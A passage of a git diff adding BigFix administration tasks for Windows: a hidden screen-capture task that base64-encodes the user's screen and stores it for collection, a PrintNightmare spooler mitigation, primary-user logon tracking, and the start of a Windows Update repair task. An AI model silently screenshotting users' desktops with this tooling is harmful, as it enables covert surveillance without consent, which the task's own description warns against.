+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Take Screenshot - Windows</Title>
+    <Description><![CDATA[<P>This is useful for automated testing. Install something with BigFix on a test VM, open it with BigFix as a logged in test user, take a screenshot, then close application.</P>
+<P>This requires there to be exactly 1 user logged into the system. It might be possible to do this as the SYSTEM user if executed interactively using something like PSExec or PAExec, but it definitely does not work as the SYSTEM user as executed by BigFix normally.</P>
+<P>DO NOT USE without the consent of the currently logged on user.</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>1 = number of unique values of home directories of users of (current users;logged on users)</Relevance>
+    <Relevance>not exists files &quot;ScreenShot.png.base64&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-30</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 04 Oct 2016 18:03:27 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "CurrentUserTempFolder" = "{ pathnames of folders "AppData\Local\Temp" of (folders it) of unique value of home directories of users of (current users;logged on users) }"
+
+// prefetch optipng-win32.zip sha1:5cfaa48f01e354645b4cf415a0eaedcc76f542ea size:142313 http://heanet.dl.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.6/optipng-0.7.6-win32.zip sha256:0012ec30ee5292e1fd19e0f8c45de4cc291fb5872c5bc83355c17e0b6ce662f7
+
+delete __createfile
+// https://github.com/npocmaka/batch.scripts/blob/master/hybrids/.net/c/screenCapture.bat
+//  MIT License code by https://github.com/npocmaka
+//  Requires .NET
+createfile until _END_OF_FILE_
+// 2>nul||@goto :batch
+/*
+:batch
+@echo off
+setlocal
+
+:: find csc.exe
+set "csc="
+for /r "%SystemRoot%\Microsoft.NET\Framework\" %%# in ("*csc.exe") do  set "csc=%%#"
+
+if not exist "%csc%" (
+   echo no .net framework installed
+   exit /b 10
+)
+
+if not exist "%~n0.exe" (
+   call %csc% /nologo /r:"Microsoft.VisualBasic.dll" /out:"%~n0.exe" "%~dpsfnx0" || (
+      exit /b %errorlevel%
+   )
+)
+%~n0.exe %*
+endlocal & exit /b %errorlevel%
+
+*/
+
+// reference
+// https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8
+
+using System;
+using System.Runtime.InteropServices;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Collections.Generic;
+using Microsoft.VisualBasic;
+
+
+/// Provides functions to capture the entire screen, or a particular window, and save it to a file.
+
+public class ScreenCapture
+{{
+
+    /// Creates an Image object containing a screen shot the active window
+
+    public Image CaptureActiveWindow()
+    {{
+        return CaptureWindow(User32.GetForegroundWindow());
+    }
+
+    /// Creates an Image object containing a screen shot of the entire desktop
+
+    public Image CaptureScreen()
+    {{
+        return CaptureWindow(User32.GetDesktopWindow());
+    }
+
+    /// Creates an Image object containing a screen shot of a specific window
+
+    private Image CaptureWindow(IntPtr handle)
+    {{
+        // get te hDC of the target window
+        IntPtr hdcSrc = User32.GetWindowDC(handle);
+        // get the size
+        User32.RECT windowRect = new User32.RECT();
+        User32.GetWindowRect(handle, ref windowRect);
+        int width = windowRect.right - windowRect.left;
+        int height = windowRect.bottom - windowRect.top;
+        // create a device context we can copy to
+        IntPtr hdcDest = GDI32.CreateCompatibleDC(hdcSrc);
+        // create a bitmap we can copy it to,
+        // using GetDeviceCaps to get the width/height
+        IntPtr hBitmap = GDI32.CreateCompatibleBitmap(hdcSrc, width, height);
+        // select the bitmap object
+        IntPtr hOld = GDI32.SelectObject(hdcDest, hBitmap);
+        // bitblt over
+        GDI32.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, GDI32.SRCCOPY);
+        // restore selection
+        GDI32.SelectObject(hdcDest, hOld);
+        // clean up
+        GDI32.DeleteDC(hdcDest);
+        User32.ReleaseDC(handle, hdcSrc);
+        // get a .NET image object for it
+        Image img = Image.FromHbitmap(hBitmap);
+        // free up the Bitmap object
+        GDI32.DeleteObject(hBitmap);
+        return img;
+    }
+
+    public void CaptureActiveWindowToFile(string filename, ImageFormat format)
+    {{
+        Image img = CaptureActiveWindow();
+        img.Save(filename, format);
+    }
+
+    public void CaptureScreenToFile(string filename, ImageFormat format)
+    {{
+        Image img = CaptureScreen();
+        img.Save(filename, format);
+    }
+
+    static bool fullscreen = true;
+    static String file = "screenshot.bmp";
+    static System.Drawing.Imaging.ImageFormat format = System.Drawing.Imaging.ImageFormat.Bmp;
+    static String windowTitle = "";
+
+    static void parseArguments()
+    {{
+        String[] arguments = Environment.GetCommandLineArgs();
+        if (arguments.Length == 1)
+        {{
+            printHelp();
+            Environment.Exit(0);
+        }
+        if (arguments[1].ToLower().Equals("/h") || arguments[1].ToLower().Equals("/help"))
+        {{
+            printHelp();
+            Environment.Exit(0);
+        }
+
+        file = arguments[1];
+        Dictionary<String, System.Drawing.Imaging.ImageFormat> formats =
+        new Dictionary<String, System.Drawing.Imaging.ImageFormat>();
+
+        formats.Add("bmp", System.Drawing.Imaging.ImageFormat.Bmp);
+        formats.Add("emf", System.Drawing.Imaging.ImageFormat.Emf);
+        formats.Add("exif", System.Drawing.Imaging.ImageFormat.Exif);
+        formats.Add("jpg", System.Drawing.Imaging.ImageFormat.Jpeg);
+        formats.Add("jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
+        formats.Add("gif", System.Drawing.Imaging.ImageFormat.Gif);
+        formats.Add("png", System.Drawing.Imaging.ImageFormat.Png);
+        formats.Add("tiff", System.Drawing.Imaging.ImageFormat.Tiff);
+        formats.Add("wmf", System.Drawing.Imaging.ImageFormat.Wmf);
+
+
+        String ext = "";
+        if (file.LastIndexOf('.') > -1)
+        {{
+            ext = file.ToLower().Substring(file.LastIndexOf('.') + 1, file.Length - file.LastIndexOf('.') - 1);
+        }
+        else
+        {{
+            Console.WriteLine("Invalid file name - no extension");
+            Environment.Exit(7);
+        }
+
+        try
+        {{
+            format = formats[ext];
+        }
+        catch (Exception e)
+        {{
+            Console.WriteLine("Probably wrong file format:" + ext);
+            Console.WriteLine(e.ToString());
+            Environment.Exit(8);
+        }
+
+
+        if (arguments.Length > 2)
+        {{
+            windowTitle = arguments[2];
+            fullscreen = false;
+        }
+
+    }
+
+    static void printHelp()
+    {{
+        //clears the extension from the script name
+        String scriptName = Environment.GetCommandLineArgs()[0];
+        scriptName = scriptName.Substring(0, scriptName.Length);
+        Console.WriteLine(scriptName + " captures the screen or the active window and saves it to a file.");
+        Console.WriteLine("");
+        Console.WriteLine("Usage:");
+        Console.WriteLine(" " + scriptName + " filename  [WindowTitle]");
+        Console.WriteLine("");
+        Console.WriteLine("finename - the file where the screen capture will be saved");
+        Console.WriteLine("     allowed file extensions are - Bmp,Emf,Exif,Gif,Icon,Jpeg,Png,Tiff,Wmf.");
+        Console.WriteLine("WindowTitle - instead of capture whole screen you can point to a window ");
+        Console.WriteLine("     with a title which will put on focus and captuted.");
+        Console.WriteLine("     For WindowTitle you can pass only the first few characters.");
+        Console.WriteLine("     If don't want to change the current active window pass only \"\"");
+    }
+
+    public static void Main()
+    {{
+        parseArguments();
+        ScreenCapture sc = new ScreenCapture();
+        if (!fullscreen && !windowTitle.Equals(""))
+        {{
+            try
+            {{
+
+                Interaction.AppActivate(windowTitle);
+                Console.WriteLine("setting " + windowTitle + " on focus");
+            }
+            catch (Exception e)
+            {{
+                Console.WriteLine("Probably there's no window like " + windowTitle);
+                Console.WriteLine(e.ToString());
+                Environment.Exit(9);
+            }
+
+
+        }
+        try
+        {{
+            if (fullscreen)
+            {{
+                Console.WriteLine("Taking a capture of the whole screen to " + file);
+                sc.CaptureScreenToFile(file, format);
+            }
+            else
+            {{
+                Console.WriteLine("Taking a capture of the active window to " + file);
+                sc.CaptureActiveWindowToFile(file, format);
+            }
+        }
+        catch (Exception e)
+        {{
+            Console.WriteLine("Check if file path is valid " + file);
+            Console.WriteLine(e.ToString());
+        }
+    }
+
+    /// Helper class containing Gdi32 API functions
+
+    private class GDI32
+    {{
+
+        public const int SRCCOPY = 0x00CC0020; // BitBlt dwRop parameter
+        [DllImport("gdi32.dll")]
+        public static extern bool BitBlt(IntPtr hObject, int nXDest, int nYDest,
+          int nWidth, int nHeight, IntPtr hObjectSource,
+          int nXSrc, int nYSrc, int dwRop);
+        [DllImport("gdi32.dll")]
+        public static extern IntPtr CreateCompatibleBitmap(IntPtr hDC, int nWidth,
+          int nHeight);
+        [DllImport("gdi32.dll")]
+        public static extern IntPtr CreateCompatibleDC(IntPtr hDC);
+        [DllImport("gdi32.dll")]
+        public static extern bool DeleteDC(IntPtr hDC);
+        [DllImport("gdi32.dll")]
+        public static extern bool DeleteObject(IntPtr hObject);
+        [DllImport("gdi32.dll")]
+        public static extern IntPtr SelectObject(IntPtr hDC, IntPtr hObject);
+    }
+
+
+    /// Helper class containing User32 API functions
+
+    private class User32
+    {{
+        [StructLayout(LayoutKind.Sequential)]
+        public struct RECT
+        {{
+            public int left;
+            public int top;
+            public int right;
+            public int bottom;
+        }
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetDesktopWindow();
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetWindowDC(IntPtr hWnd);
+        [DllImport("user32.dll")]
+        public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
+        [DllImport("user32.dll")]
+        public static extern IntPtr GetForegroundWindow();
+    }
+}
+_END_OF_FILE_
+// --------------------------------------------------------------------------------------------
+
+delete __Download\screenCapture.bat
+move __createfile __Download\screenCapture.bat
+delete __Download\screenCapture.exe
+action uses wow64 redirection {not x64 of operating system}
+// reference:  https://forum.bigfix.com/t/trying-to-run-a-linux-sh-script-in-a-bigfix-action/17748/6  (using cd &&)
+waithidden cmd /c cd __Download && screenCapture.bat
+delete {parameter "CurrentUserTempFolder"}\screenCapture.exe
+copy __Download\screenCapture.exe {parameter "CurrentUserTempFolder"}\screenCapture.exe
+
+// take screenshot of currently active window
+//override wait
+//hidden=true
+//runas=currentuser
+//wait {parameter "CurrentUserTempFolder"}\screenCapture.exe {parameter "CurrentUserTempFolder"}\ScreenShotActiveWindow.png ""
+//delete __Download\ScreenShotActiveWindow.png
+//move {parameter "CurrentUserTempFolder"}\ScreenShotActiveWindow.png __Download\ScreenShotActiveWindow.png
+
+// take screenshot of fullscreen
+override wait
+hidden=true
+runas=currentuser
+wait {parameter "CurrentUserTempFolder"}\screenCapture.exe {parameter "CurrentUserTempFolder"}\ScreenShot.png
+delete __Download\ScreenShot.png
+move {parameter "CurrentUserTempFolder"}\ScreenShot.png __Download\ScreenShot.png
+
+// Clean up
+delete {parameter "CurrentUserTempFolder"}\screenCapture.exe
+
+delete __Download\ScreenShot.png.base64
+waithidden powershell -ExecutionPolicy Bypass -command "[convert]::ToBase64String((get-content '{ pathname of download file "ScreenShot.png" }' -encoding byte)) | set-content( '__Download\ScreenShot.png.base64' )"
+delete "{pathname of folders "Logs" of folders "__Global" of data folders of client}\ScreenShot.png.base64"
+copy __Download\ScreenShot.png.base64 "{pathname of folders "Logs" of folders "__Global" of data folders of client}\ScreenShot.png.base64"
+notify client ForceRefresh
+
+// http://optipng.sourceforge.net/  PNG optimizer
+// prefetch optipng-0.7.6-win32.zip sha1:5cfaa48f01e354645b4cf415a0eaedcc76f542ea size:142313 http://heanet.dl.sourceforge.net/project/optipng/OptiPNG/optipng-0.7.6/optipng-0.7.6-win32.zip sha256:0012ec30ee5292e1fd19e0f8c45de4cc291fb5872c5bc83355c17e0b6ce662f7
+
+// References:
+//  - http://superuser.com/questions/75614/take-a-screen-shot-from-command-line-in-windows/309290#309290
+//  - https://github.com/npocmaka/batch.scripts/blob/master/hybrids/.net/c/screenCapture.bat
+//  - https://blog.mozilla.org/ted/2009/02/05/command-line-screenshot-tool-for-windows/
+//  - https://code.google.com/archive/p/screenshot-cmd/
+//  - http://www.nirsoft.net/utils/nircmd.html
+//  - https://davidwalsh.name/convert-image-data-uri-javascript
+//  - http://powershellscripts.blogspot.com/2007/02/base64-encode-file.html
+
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes b/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes
new file mode 100644
index 000000000..d42b04fa8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Testing PrintNightmare Spooler Disable mitigation (26860).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Testing PrintNightmare Spooler Disable mitigation
+  ID       : 26860
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-01T12:34:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Testing PrintNightmare Spooler Disable mitigation</Title>
+    <Description><![CDATA[BETA CODE - <FONT color=#ff0000>TEST WELL</FONT> <BR><BR><A href="https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability"><FONT color=#0066cc>PrintNightmare, Critical Windows Print Spooler Vulnerability | CISA</FONT></A> ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>product type of operating system != nt workstation product type /*optionally avoids desktops*/</Relevance>
+    <Relevance>exists services &quot;spooler&quot; whose (state of it = &quot;Running&quot; OR start type of it != &quot;disabled&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-07-01</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 01 Jul 2021 19:24:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc.exe stop spooler
+wait sc.exe config spooler start= disabled</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28144">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see more information.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes b/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes
new file mode 100644
index 000000000..e810541b0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Track Primary User v2.8 (2533).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Track Primary User v2.8
+  ID       : 2533
+  Author   : hp
+  Domain   : BESC
+  Imported : 2013-07-11T20:55:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Track Primary User v2.8</Title>
+    <Description><![CDATA[<P>The "Primary User" of an endpoint is the user who has logged on most frequently in a given history window (e.g. the past 10 logins).</P><P>This task monitors each login and records the most recent logins.&nbsp; This information is stored in the following registry values:</P>
+<P>[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LoggedIn]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LastLoggedInUser]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LastTime]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\LogonHistory]<BR/>
+[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats\PrimaryUser]</P>
+<P><STRONG><FONT color=#0000ff>Note:</FONT>&nbsp; </STRONG>This task will not run on domain controllers.<BR/>
+<P><STRONG><FONT color=#0000ff>Note:</FONT></STRONG>&nbsp; This task will be set as a policy and will run&nbsp;following each logon.</P>]]></Description>
+    <Relevance>(exists logged on users) AND (((it contains &quot;win2000&quot; OR it contains &quot;winxp&quot; OR it contains &quot;win2003&quot; OR it contains &quot;winvista&quot; OR it contains &quot;win2008&quot; OR it contains &quot;win7&quot;) of (name of operating system as lowercase)) AND product type of operating system != nt domain controller product type) AND ((not exists value &quot;LoggedIn&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats&quot; of registry) OR (value &quot;LoggedIn&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats&quot; of registry != (exists logged on users whose (active of it)) as string) OR (if (exists values &quot;LogonHistory&quot; of keys &quot;HKLM\Software\BigFix\EnterpriseClient\userstats&quot; of registry) then (value &quot;LogonHistory&quot; of keys &quot;HKLM\Software\BigFix\EnterpriseClient\userstats&quot; of registry as string does not contain (maximum of time values of selects &quot;starttime from win32_logonsession where (LogonType=2 OR LogonType=10)&quot; of wmi) as string) else TRUE))</Relevance>
+    <Category>Policy</Category>
+    <Source>Custom</Source>
+    <SourceReleaseDate>2007-10-10</SourceReleaseDate>
+    <SourceSeverity>Custom</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 10 Jul 2013 17:58:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp; </PreLink>
+        <Link>here </Link>
+        <PostLink>&amp;nbsp;to deploy this action. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LoggedIn"="{exists logged on users whose (active of it)}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LastLoggedInUser"="{tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LastTime"="{maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "LogonHistory"="{if (exists logged on users whose (active of it)) then (if (exists values "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry) then ((if (value "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry as string contains (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string)) then ("") else ("::" & (tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & ";;" & (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & (if (not exists value "LogonHistory" of keys "HKLM\Software\BigFix\EnterpriseClient\userstats" of registry) then "" else (concatenation of (("::" & item 0 of it & ";;" & item 1 of it) of (((items 0 of it, items 1 whose (it as time > (now - 7 * day)) of it) of ((preceding texts of firsts ";;" of it, following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string))))))))) else ("::" & (tuple string item 0 of concatenation ", " of items 0 of ((item 0 of item 1 of it, item 1 of item 0 of it) of ((it,((preceding texts of firsts "%22" of following texts of firsts "Name=%22" of it, preceding texts of firsts "%22" of following texts of firsts ".LogonId=%22" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of (string values of selects "* from Win32_LoggedOnUser" of wmi)) & "|")))) of ((preceding texts of firsts "|" of it, following texts of firsts "|" of it) of ((following texts whose (number of substrings "|" of it is 1) of substrings "|" of preceding texts whose (number of substrings "|" of it mod 2 is 0) of substrings "|" of it) of ("|" & (concatenation "|" of ((if (it as string contains "LogonId") then (string values of it) else if (it as string contains "StartTime") then (time values of it as string) else "") of (selects "StartTime, LogonId from Win32_LogonSession where (LogonType=2 OR LogonType=10)" of wmi))) & "|")))) whose (item 0 of item 0 of it = item 1 of item 1 of it)) whose (item 1 of it = (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) & ";;" & (maximum of time values of selects "starttime from win32_logonsession where (LogonType=2 OR LogonType=10)" of wmi as string))) else (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)}"
+regset "[HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats]" "PrimaryUser"="{if (exists (key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" whose (exists value "LogonHistory" of it) of registry)) then (item 0 of ((items 0 whose ((concatenation of (unique values whose ((multiplicity of it = (maximum of  multiplicities of unique values of preceding texts of firsts ";;" of substrings separated by "::" of (value "LogonHistory" of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)))) of preceding texts of firsts ";;" of substrings separated by "::" of (value "LogonHistory" of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)) as string) contains it) of it, items 1 whose (it as time = maximum of (((following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string))) as time)) of it) of (((preceding texts of firsts ";;" of it, following texts of firsts ";;" of it) of (substrings separated by "::" whose (it != "") of (value "LogonHistory" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\userstats" of registry as string)))))) else "N/A"}"
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes b/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes
new file mode 100644
index 000000000..a30d161b4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Troubleshooting_ Reset Windows Update, Pending Updates, and DISM Repair (27344).bes	
@@ -0,0 +1,379 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Troubleshooting: Reset Windows Update, Pending Updates, and DISM Repair
+  ID       : 27344
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2024-05-14T10:13:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Troubleshooting: Reset Windows Update, Pending Updates, and DISM Repair</Title>
+    <Description><![CDATA[<P><STRONG>USE WITH CAUTION</STRONG></P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">This Task performs several cleanup operations to attempt to resolve failing Windows Updates.&nbsp; This should be used with care, and only on systems that are failing to install updates after all other troubleshooting steps have been taken, consider this a last effort before reimaging the problem machine.&nbsp; Making system changes, especially to an already-broken system, may further corrupt the system.&nbsp; Backup any important data before running this task!</P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">This Task</P>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Attempts to clear cached Windows Update data to resolve cases where Windows Updates fail to install due to a corruption of the SoftwareDistribution folder.</DIV>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Performs&nbsp;the steps described at the following article, including steps that are associated with corrupt Windows Update components.</DIV>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt"><A href="https://support.microsoft.com/en-us/help/971058/how-do-i-reset-windows-update-components"><FONT color=#0000ff size=3 face="Times New Roman">https://support.microsoft.com/en-us/help/971058/how-do-i-reset-windows-update-components</FONT></A></DIV>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Logs Generated:</DIV>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">\Windows\Temp\windows-update-cleanup.txt</DIV></LI></UL></LI></UL></LI></UL>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">&nbsp;</P>
+<UL>
+<LI>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">Attempts to remove any Pending component installations</DIV>
+<UL>
+<LI>
+<P class=MsoNormal style="MARGIN: 0in 0in 0pt">Logs Generated:</P>
+<DIV class=MsoNormal style="MARGIN: 0in 0in 0pt">
+<UL>
+<LI>\Windows\Temp\DISM-RemovePending.log </LI></UL></DIV>
+<P>&nbsp;</P></LI></UL>
+<LI>
+<P>Attempts Windows Component Store Cleanup</P>
+<UL>
+<LI>
+<P>DISM.EXE /Online /Cleanup-Image /RestoreHealth /Quiet /NoReboot</P>
+<LI>
+<P><A href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/deployment/fix-windows-update-errors"><FONT color=#0066cc>https://docs.microsoft.com/en-us/troubleshoot/windows-server/deployment/fix-windows-update-errors</FONT></A></P>
+<LI>
+<P>Logs Generated:</P>
+<UL>
+<LI>\Windows\Temp\DISM-RestoreHealth.out
+<LI>\Windows\Temp\DISM-RestoreHealth.log</LI></UL></LI></UL></LI></UL>
+<P>The Second action allows specifying a path to a trusted set of Windows installation files to be used to perform a repair, if original Windows installation files are required, for example 'C:\Windows-Media-Source'.&nbsp; The path should be accessible to the LocalSystem WIndows account (network UNC shares are generally not accessible and the media should be copied to a client path before running the action).</P>
+<P>&nbsp;&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6.2"]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2023-10-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 May 2024 17:10:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to attempt repair without specifying an Installation Source.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "LogFolder"="{pathname of windows folder}\temp"
+folder create "{parameter "LogFolder"}"
+
+// Windows Update Store Cleanup & Windows Update Components Reset
